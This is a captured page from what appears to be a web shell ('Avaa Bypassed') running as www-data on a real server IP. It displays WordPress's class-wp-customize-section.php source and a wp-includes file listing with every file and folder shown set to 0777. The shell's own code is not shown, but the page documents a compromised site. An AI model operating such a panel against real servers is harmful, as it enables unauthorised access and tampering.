[ Avaa Bypassed ]




Upload:

Command:

www-data@3.15.228.200: ~ $
<?php
/**
 * WordPress Customize Section classes
 *
 * @package WordPress
 * @subpackage Customize
 * @since 3.4.0
 */

/**
 * Customize Section class.
 *
 * A UI container for controls, managed by the WP_Customize_Manager class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Manager
 */
#[AllowDynamicProperties]
class WP_Customize_Section {

	/**
	 * Incremented with each new class instantiation, then stored in $instance_number.
	 *
	 * Used when sorting two instances whose priorities are equal.
	 *
	 * @since 4.1.0
	 * @var int
	 */
	protected static $instance_count = 0;

	/**
	 * Order in which this instance was created in relation to other instances.
	 *
	 * @since 4.1.0
	 * @var int
	 */
	public $instance_number;

	/**
	 * WP_Customize_Manager instance.
	 *
	 * @since 3.4.0
	 * @var WP_Customize_Manager
	 */
	public $manager;

	/**
	 * Unique identifier.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $id;

	/**
	 * Priority of the section which informs load order of sections.
	 *
	 * @since 3.4.0
	 * @var int
	 */
	public $priority = 160;

	/**
	 * Panel in which to show the section, making it a sub-section.
	 *
	 * @since 4.0.0
	 * @var string
	 */
	public $panel = '';

	/**
	 * Capability required for the section.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $capability = 'edit_theme_options';

	/**
	 * Theme features required to support the section.
	 *
	 * @since 3.4.0
	 * @var string|string[]
	 */
	public $theme_supports = '';

	/**
	 * Title of the section to show in UI.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $title = '';

	/**
	 * Description to show in the UI.
	 *
	 * @since 3.4.0
	 * @var string
	 */
	public $description = '';

	/**
	 * Customizer controls for this section.
	 *
	 * @since 3.4.0
	 * @var array
	 */
	public $controls;

	/**
	 * Type of this section.
	 *
	 * @since 4.1.0
	 * @var string
	 */
	public $type = 'default';

	/**
	 * Active callback.
	 *
	 * @since 4.1.0
	 *
	 * @see WP_Customize_Section::active()
	 *
	 * @var callable Callback is called with one argument, the instance of
	 *               WP_Customize_Section, and returns bool to indicate whether
	 *               the section is active (such as it relates to the URL currently
	 *               being previewed).
	 */
	public $active_callback = '';

	/**
	 * Show the description or hide it behind the help icon.
	 *
	 * @since 4.7.0
	 *
	 * @var bool Indicates whether the Section's description should be
	 *           hidden behind a help icon ("?") in the Section header,
	 *           similar to how help icons are displayed on Panels.
	 */
	public $description_hidden = false;

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @since 3.4.0
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      A specific ID of the section.
	 * @param array                $args    {
	 *     Optional. Array of properties for the new Section object. Default empty array.
	 *
	 *     @type int             $priority           Priority of the section, defining the display order
	 *                                               of panels and sections. Default 160.
	 *     @type string          $panel              The panel this section belongs to (if any).
	 *                                               Default empty.
	 *     @type string          $capability         Capability required for the section.
	 *                                               Default 'edit_theme_options'
	 *     @type string|string[] $theme_supports     Theme features required to support the section.
	 *     @type string          $title              Title of the section to show in UI.
	 *     @type string          $description        Description to show in the UI.
	 *     @type string          $type               Type of the section.
	 *     @type callable        $active_callback    Active callback.
	 *     @type bool            $description_hidden Hide the description behind a help icon,
	 *                                               instead of inline above the first control.
	 *                                               Default false.
	 * }
	 */
	public function __construct( $manager, $id, $args = array() ) {
		$keys = array_keys( get_object_vars( $this ) );
		foreach ( $keys as $key ) {
			if ( isset( $args[ $key ] ) ) {
				$this->$key = $args[ $key ];
			}
		}

		$this->manager = $manager;
		$this->id      = $id;
		if ( empty( $this->active_callback ) ) {
			$this->active_callback = array( $this, 'active_callback' );
		}
		self::$instance_count += 1;
		$this->instance_number = self::$instance_count;

		$this->controls = array(); // Users cannot customize the $controls array.
	}

	/**
	 * Check whether section is active to current Customizer preview.
	 *
	 * @since 4.1.0
	 *
	 * @return bool Whether the section is active to the current preview.
	 */
	final public function active() {
		$section = $this;
		$active  = call_user_func( $this->active_callback, $this );

		/**
		 * Filters response of WP_Customize_Section::active().
		 *
		 * @since 4.1.0
		 *
		 * @param bool                 $active  Whether the Customizer section is active.
		 * @param WP_Customize_Section $section WP_Customize_Section instance.
		 */
		$active = apply_filters( 'customize_section_active', $active, $section );

		return $active;
	}

	/**
	 * Default callback used when invoking WP_Customize_Section::active().
	 *
	 * Subclasses can override this with their specific logic, or they may provide
	 * an 'active_callback' argument to the constructor.
	 *
	 * @since 4.1.0
	 *
	 * @return true Always true.
	 */
	public function active_callback() {
		return true;
	}

	/**
	 * Gather the parameters passed to client JavaScript via JSON.
	 *
	 * @since 4.1.0
	 *
	 * @return array The array to be exported to the client as JSON.
	 */
	public function json() {
		$array                   = wp_array_slice_assoc( (array) $this, array( 'id', 'description', 'priority', 'panel', 'type', 'description_hidden' ) );
		$array['title']          = html_entity_decode( $this->title, ENT_QUOTES, get_bloginfo( 'charset' ) );
		$array['content']        = $this->get_content();
		$array['active']         = $this->active();
		$array['instanceNumber'] = $this->instance_number;

		if ( $this->panel ) {
			/* translators: &#9656; is the unicode right-pointing triangle. %s: Section title in the Customizer. */
			$array['customizeAction'] = sprintf( __( 'Customizing &#9656; %s' ), esc_html( $this->manager->get_panel( $this->panel )->title ) );
		} else {
			$array['customizeAction'] = __( 'Customizing' );
		}

		return $array;
	}

	/**
	 * Checks required user capabilities and whether the theme has the
	 * feature support required by the section.
	 *
	 * @since 3.4.0
	 *
	 * @return bool False if theme doesn't support the section or user doesn't have the capability.
	 */
	final public function check_capabilities() {
		if ( $this->capability && ! current_user_can( $this->capability ) ) {
			return false;
		}

		if ( $this->theme_supports && ! current_theme_supports( ...(array) $this->theme_supports ) ) {
			return false;
		}

		return true;
	}

	/**
	 * Get the section's content for insertion into the Customizer pane.
	 *
	 * @since 4.1.0
	 *
	 * @return string Contents of the section.
	 */
	final public function get_content() {
		ob_start();
		$this->maybe_render();
		return trim( ob_get_clean() );
	}

	/**
	 * Check capabilities and render the section.
	 *
	 * @since 3.4.0
	 */
	final public function maybe_render() {
		if ( ! $this->check_capabilities() ) {
			return;
		}

		/**
		 * Fires before rendering a Customizer section.
		 *
		 * @since 3.4.0
		 *
		 * @param WP_Customize_Section $section WP_Customize_Section instance.
		 */
		do_action( 'customize_render_section', $this );
		/**
		 * Fires before rendering a specific Customizer section.
		 *
		 * The dynamic portion of the hook name, `$this->id`, refers to the ID
		 * of the specific Customizer section to be rendered.
		 *
		 * @since 3.4.0
		 */
		do_action( "customize_render_section_{$this->id}" );

		$this->render();
	}

	/**
	 * Render the section UI in a subclass.
	 *
	 * Sections are now rendered in JS by default, see WP_Customize_Section::print_template().
	 *
	 * @since 3.4.0
	 */
	protected function render() {}

	/**
	 * Render the section's JS template.
	 *
	 * This function is only run for section types that have been registered with
	 * WP_Customize_Manager::register_section_type().
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Manager::render_template()
	 */
	public function print_template() {
		?>
		<script type="text/html" id="tmpl-customize-section-<?php echo $this->type; ?>">
			<?php $this->render_template(); ?>
		</script>
		<?php
	}

	/**
	 * An Underscore (JS) template for rendering this section.
	 *
	 * Class variables for this section class are available in the `data` JS object;
	 * export custom variables by overriding WP_Customize_Section::json().
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Section::print_template()
	 */
	protected function render_template() {
		?>
		<li id="accordion-section-{{ data.id }}" class="accordion-section control-section control-section-{{ data.type }}">
			<h3 class="accordion-section-title" tabindex="0">
				{{ data.title }}
				<span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Press return or enter to open this section' );
					?>
				</span>
			</h3>
			<ul class="accordion-section-content">
				<li class="customize-section-description-container section-meta <# if ( data.description_hidden ) { #>customize-info<# } #>">
					<div class="customize-section-title">
						<button class="customize-section-back" tabindex="-1">
							<span class="screen-reader-text">
								<?php
								/* translators: Hidden accessibility text. */
								_e( 'Back' );
								?>
							</span>
						</button>
						<h3>
							<span class="customize-action">
								{{{ data.customizeAction }}}
							</span>
							{{ data.title }}
						</h3>
						<# if ( data.description && data.description_hidden ) { #>
							<button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false"><span class="screen-reader-text">
								<?php
								/* translators: Hidden accessibility text. */
								_e( 'Help' );
								?>
							</span></button>
							<div class="description customize-section-description">
								{{{ data.description }}}
							</div>
						<# } #>

						<div class="customize-control-notifications-container"></div>
					</div>

					<# if ( data.description && ! data.description_hidden ) { #>
						<div class="description customize-section-description">
							{{{ data.description }}}
						</div>
					<# } #>
				</li>
			</ul>
		</li>
		<?php
	}
}

/** WP_Customize_Themes_Section class */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-themes-section.php';

/** WP_Customize_Sidebar_Section class */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-sidebar-section.php';

/** WP_Customize_Nav_Menu_Section class */
require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menu-section.php';

Filemanager

Name Type Size Permission Actions
ID3 Folder 0777
IXR Folder 0777
PHPMailer Folder 0777
Requests Folder 0777
SimplePie Folder 0777
Text Folder 0777
assets Folder 0777
block-patterns Folder 0777
block-supports Folder 0777
blocks Folder 0777
certificates Folder 0777
css Folder 0777
customize Folder 0777
fonts Folder 0777
html-api Folder 0777
images Folder 0777
js Folder 0777
php-compat Folder 0777
pomo Folder 0777
rest-api Folder 0777
sitemaps Folder 0777
sodium_compat Folder 0777
style-engine Folder 0777
theme-compat Folder 0777
widgets Folder 0777
admin-bar.php File 35.15 KB 0777
atomlib.php File 11.67 KB 0777
author-template.php File 18.51 KB 0777
block-editor.php File 27.27 KB 0777
block-i18n.json File 316 B 0777
block-patterns.php File 12.64 KB 0777
block-template-utils.php File 47.35 KB 0777
block-template.php File 12 KB 0777
blocks.php File 71.18 KB 0777
bookmark-template.php File 12.61 KB 0777
bookmark.php File 15.02 KB 0777
cache-compat.php File 5.83 KB 0777
cache.php File 13.16 KB 0777
canonical.php File 33.27 KB 0777
capabilities.php File 39.09 KB 0777
category-template.php File 55.67 KB 0777
category.php File 12.41 KB 0777
class-IXR.php File 2.48 KB 0777
class-feed.php File 529 B 0777
class-http.php File 367 B 0777
class-json.php File 42.66 KB 0777
class-oembed.php File 401 B 0777
class-phpass.php File 6.55 KB 0777
class-phpmailer.php File 664 B 0777
class-pop3.php File 20.48 KB 0777
class-requests.php File 2.18 KB 0777
class-simplepie.php File 95.82 KB 0777
class-smtp.php File 457 B 0777
class-snoopy.php File 36.83 KB 0777
class-walker-category-dropdown.php File 2.41 KB 0777
class-walker-category.php File 8.28 KB 0777
class-walker-comment.php File 13.88 KB 0777
class-walker-nav-menu.php File 11.05 KB 0777
class-walker-page-dropdown.php File 2.65 KB 0777
class-walker-page.php File 7.43 KB 0777
class-wp-admin-bar.php File 16.96 KB 0777
class-wp-ajax-response.php File 5.14 KB 0777
class-wp-application-passwords.php File 12.55 KB 0777
class-wp-block-editor-context.php File 1.32 KB 0777
class-wp-block-list.php File 4.66 KB 0777
class-wp-block-parser-block.php File 2.5 KB 0777
class-wp-block-parser-frame.php File 1.87 KB 0777
class-wp-block-parser.php File 11.26 KB 0777
class-wp-block-pattern-categories-registry.php File 5.25 KB 0777
class-wp-block-patterns-registry.php File 9.84 KB 0777
class-wp-block-styles-registry.php File 5.75 KB 0777
class-wp-block-supports.php File 5.39 KB 0777
class-wp-block-template.php File 1.91 KB 0777
class-wp-block-type-registry.php File 4.9 KB 0777
class-wp-block-type.php File 14.4 KB 0777
class-wp-block.php File 8.2 KB 0777
class-wp-classic-to-block-menu-converter.php File 3.99 KB 0777
class-wp-comment-query.php File 46.71 KB 0777
class-wp-comment.php File 9.15 KB 0777
class-wp-customize-control.php File 25.24 KB 0777
class-wp-customize-manager.php File 197.52 KB 0777
class-wp-customize-nav-menus.php File 55.97 KB 0777
class-wp-customize-panel.php File 10.42 KB 0777
class-wp-customize-section.php File 10.98 KB 0777
class-wp-customize-setting.php File 29.19 KB 0777
class-wp-customize-widgets.php File 69.93 KB 0777
class-wp-date-query.php File 34.88 KB 0777
class-wp-dependencies.php File 13.73 KB 0777
class-wp-dependency.php File 2.57 KB 0777
class-wp-duotone.php File 38.52 KB 0777
class-wp-editor.php File 70.39 KB 0777
class-wp-embed.php File 15.62 KB 0777
class-wp-error.php File 7.33 KB 0777
class-wp-fatal-error-handler.php File 7.69 KB 0777
class-wp-feed-cache-transient.php File 2.53 KB 0777
class-wp-feed-cache.php File 969 B 0777
class-wp-hook.php File 15.63 KB 0777
class-wp-http-cookie.php File 7.22 KB 0777
class-wp-http-curl.php File 12.25 KB 0777
class-wp-http-encoding.php File 6.53 KB 0777
class-wp-http-ixr-client.php File 3.42 KB 0777
class-wp-http-proxy.php File 5.84 KB 0777
class-wp-http-requests-hooks.php File 1.97 KB 0777
class-wp-http-requests-response.php File 4.3 KB 0777
class-wp-http-response.php File 2.91 KB 0777
class-wp-http-streams.php File 16.46 KB 0777
class-wp-http.php File 39.63 KB 0777
class-wp-image-editor-gd.php File 17.11 KB 0777
class-wp-image-editor-imagick.php File 30.47 KB 0777
class-wp-image-editor.php File 17.17 KB 0777
class-wp-list-util.php File 7.27 KB 0777
class-wp-locale-switcher.php File 6.41 KB 0777
class-wp-locale.php File 15.74 KB 0777
class-wp-matchesmapregex.php File 1.78 KB 0777
class-wp-meta-query.php File 29.82 KB 0777
class-wp-metadata-lazyloader.php File 6.67 KB 0777
class-wp-navigation-fallback.php File 9 KB 0777
class-wp-network-query.php File 18.84 KB 0777
class-wp-network.php File 11.9 KB 0777
class-wp-object-cache.php File 17.18 KB 0777
class-wp-oembed-controller.php File 6.72 KB 0777
class-wp-oembed.php File 30.66 KB 0777
class-wp-paused-extensions-storage.php File 4.94 KB 0777
class-wp-post-type.php File 29.28 KB 0777
class-wp-post.php File 6.33 KB 0777
class-wp-query.php File 148.03 KB 0777
class-wp-recovery-mode-cookie-service.php File 6.72 KB 0777
class-wp-recovery-mode-email-service.php File 10.92 KB 0777
class-wp-recovery-mode-key-service.php File 4.4 KB 0777
class-wp-recovery-mode-link-service.php File 3.38 KB 0777
class-wp-recovery-mode.php File 11.17 KB 0777
class-wp-rewrite.php File 61.94 KB 0777
class-wp-role.php File 2.46 KB 0777
class-wp-roles.php File 8.38 KB 0777
class-wp-scripts.php File 27.99 KB 0777
class-wp-session-tokens.php File 7.28 KB 0777
class-wp-simplepie-file.php File 3.3 KB 0777
class-wp-simplepie-sanitize-kses.php File 1.73 KB 0777
class-wp-site-query.php File 30.29 KB 0777
class-wp-site.php File 7.28 KB 0777
class-wp-styles.php File 10.64 KB 0777
class-wp-tax-query.php File 19.09 KB 0777
class-wp-taxonomy.php File 18.13 KB 0777
class-wp-term-query.php File 40.05 KB 0777
class-wp-term.php File 5.17 KB 0777
class-wp-text-diff-renderer-inline.php File 829 B 0777
class-wp-text-diff-renderer-table.php File 18.37 KB 0777
class-wp-textdomain-registry.php File 5.84 KB 0777
class-wp-theme-json-data.php File 1.52 KB 0777
class-wp-theme-json-resolver.php File 24.06 KB 0777
class-wp-theme-json-schema.php File 4.12 KB 0777
class-wp-theme-json.php File 126.52 KB 0777
class-wp-theme.php File 62.76 KB 0777
class-wp-user-meta-session-tokens.php File 2.92 KB 0777
class-wp-user-query.php File 42.37 KB 0777
class-wp-user-request.php File 2.17 KB 0777
class-wp-user.php File 22.23 KB 0777
class-wp-walker.php File 12.86 KB 0777
class-wp-widget-factory.php File 3.27 KB 0777
class-wp-widget.php File 17.96 KB 0777
class-wp-xmlrpc-server.php File 209.12 KB 0777
class-wp.php File 25.51 KB 0777
class-wpdb.php File 116.66 KB 0777
class.wp-dependencies.php File 373 B 0777
class.wp-scripts.php File 343 B 0777
class.wp-styles.php File 338 B 0777
comment-template.php File 99.05 KB 0777
comment.php File 126.09 KB 0777
compat.php File 14.86 KB 0777
cron.php File 40.5 KB 0777
date.php File 400 B 0777
default-constants.php File 10.91 KB 0777
default-filters.php File 33.7 KB 0777
default-widgets.php File 2.17 KB 0777
deprecated.php File 179.5 KB 0777
embed-template.php File 338 B 0777
embed.php File 36.78 KB 0777
error-protection.php File 4.02 KB 0777
feed-atom-comments.php File 5.32 KB 0777
feed-atom.php File 2.98 KB 0777
feed-rdf.php File 2.61 KB 0777
feed-rss.php File 1.16 KB 0777
feed-rss2-comments.php File 3.98 KB 0777
feed-rss2.php File 3.71 KB 0777
feed.php File 22.52 KB 0777
fonts.php File 2.28 KB 0777
formatting.php File 327.14 KB 0777
functions.php File 269.81 KB 0777
functions.wp-scripts.php File 14.41 KB 0777
functions.wp-styles.php File 8.38 KB 0777
general-template.php File 163.79 KB 0777
global-styles-and-settings.php File 19.73 KB 0777
http.php File 23.29 KB 0777
https-detection.php File 5.53 KB 0777
https-migration.php File 4.63 KB 0777
kses.php File 70.21 KB 0777
l10n.php File 61.31 KB 0777
link-template.php File 152.42 KB 0777
load.php File 52.86 KB 0777
locale.php File 162 B 0777
media-template.php File 60.37 KB 0777
media.php File 202.5 KB 0777
meta.php File 62.58 KB 0777
ms-blogs.php File 25.03 KB 0777
ms-default-constants.php File 4.79 KB 0777
ms-default-filters.php File 6.48 KB 0777
ms-deprecated.php File 21.25 KB 0777
ms-files.php File 2.65 KB 0777
ms-functions.php File 89.12 KB 0777
ms-load.php File 19.4 KB 0777
ms-network.php File 3.69 KB 0777
ms-settings.php File 4.03 KB 0777
ms-site.php File 39.55 KB 0777
nav-menu-template.php File 25.18 KB 0777
nav-menu.php File 43.04 KB 0777
option.php File 89.2 KB 0777
pluggable-deprecated.php File 6.12 KB 0777
pluggable.php File 110.37 KB 0777
plugin.php File 34.63 KB 0777
post-formats.php File 6.93 KB 0777
post-template.php File 65.23 KB 0777
post-thumbnail-template.php File 10.07 KB 0777
post.php File 271.8 KB 0777
query.php File 36.17 KB 0777
registration-functions.php File 200 B 0777
registration.php File 200 B 0777
rest-api.php File 94.87 KB 0777
revision.php File 30.18 KB 0777
rewrite.php File 19.06 KB 0777
robots-template.php File 5.06 KB 0777
rss-functions.php File 255 B 0777
rss.php File 22.48 KB 0777
script-loader.php File 127.03 KB 0777
session.php File 258 B 0777
shortcodes.php File 23.3 KB 0777
sitemaps.php File 3.16 KB 0777
spl-autoload-compat.php File 441 B 0777
style-engine.php File 7.03 KB 0777
taxonomy.php File 169.46 KB 0777
template-canvas.php File 544 B 0777
template-loader.php File 2.94 KB 0777
template.php File 22.97 KB 0777
theme-i18n.json File 1.12 KB 0777
theme-previews.php File 2.76 KB 0777
theme-templates.php File 6.08 KB 0777
theme.json File 7.13 KB 0777
theme.php File 128.13 KB 0777
update.php File 35.96 KB 0777
user.php File 167.14 KB 0777
vars.php File 6.06 KB 0777
version.php File 928 B 0777
widgets.php File 68.24 KB 0777
wp-db.php File 445 B 0777
wp-diff.php File 647 B 0777